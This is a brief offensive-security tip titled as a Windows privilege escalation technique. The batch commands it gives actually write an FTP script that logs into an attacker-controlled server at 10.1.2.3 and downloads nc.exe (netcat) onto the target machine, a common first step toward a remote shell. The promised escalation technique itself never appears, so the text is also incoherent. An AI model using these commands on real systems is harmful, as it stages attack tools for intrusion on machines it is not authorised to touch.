Manual Privilege escalation in Windows

Here is a great local privilege escalation technique, just save the code in a .bat format and execute on the client machine:
If you have an exploit that you wish to download from your FTP server you can do so with the following code (edit the file with your FTP details)

echo open 10.1.2.3> C:\script.txt
echo user myftpuser>> C:\script.txt
echo pass myftppass>> C:\script.txt
echo get nc.exe>> C:\script.txt
echo bye>> C:\script.txt
ftp -s:script.txt
